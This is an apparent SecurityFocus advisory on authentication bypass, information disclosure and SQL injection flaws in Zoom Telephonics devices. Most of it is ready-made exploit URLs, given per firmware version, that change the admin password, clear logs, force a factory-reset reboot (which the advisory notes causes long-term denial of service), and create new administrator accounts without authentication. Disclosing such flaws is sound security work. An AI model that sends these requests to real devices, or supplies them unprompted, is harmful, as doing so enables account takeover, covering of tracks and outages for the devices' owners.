source: https://www.securityfocus.com/bid/61044/info

Multiple Zoom Telephonics devices are prone to an information-disclosure vulnerability, multiple authentication bypass vulnerabilities and an SQL-injection vulnerability.

Exploiting these issues could allow an attacker to gain unauthorized access and perform arbitrary actions, obtain sensitive information, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Vulnerability proofs and examples-
All administrative items can be accessed through these two URLs

--Menu Banner
http://www.example.com/hag/pages/toc.htm

-Advanced Options Menu
http://www.example.com/hag/pages/toolbox.htm

Example commands that can be executed remotely through a web browser
URL, or a modified HTTP GET/POST requests-

-Change Password for admin Account

On Firmware 2.5 or lower
http://www.example.com/hag/emweb/PopOutUserModify.htm/FormOne&user=admin&ex_param1=
admin&new_pass1=123456&new_pass2=123456&id=3&cmdSubmit=Save+Changes

On Firmware 3.0-
http://www.example.com/hag/emweb/PopOutUserModify.htm?id=40&user=admin&Zadv=1&ex_pa
ram1=admin&new_pass1=123456&new_pass2=123456&id=3&cmdSubmit=Save+Changes

-Clear Logs
http://www.example.com/Action?id=76&cmdClear+Log=Clear+Log

-Remote Reboot to Default Factory Settings-
Warning - For all intents and purposes, this action will almost always
result in a long term Denial of Service attack.
http://www.example.com/Action?reboot_loc=1&id=5&cmdReboot=Reboot

-Create New Admin or Intermediate Account-
On Firmware 2.5 or lower
http://www.example.com/hag/emweb/PopOutUserAdd.htm?id=70&user_id="newintermediateac
count"&priv=v2&pass1="123456"&pass2="123456"&cmdSubmit=Save+Changes

On Firmware 3.0-
http://www.example.com/hag/emweb/PopOutUserAdd.htm?id=70&Zadv=1&ex_param1=adminuser
_id="newadminaccount"&priv=v1&pass1="123456"&pass2="123456"&cmdSubmit=Sa
ve+Changes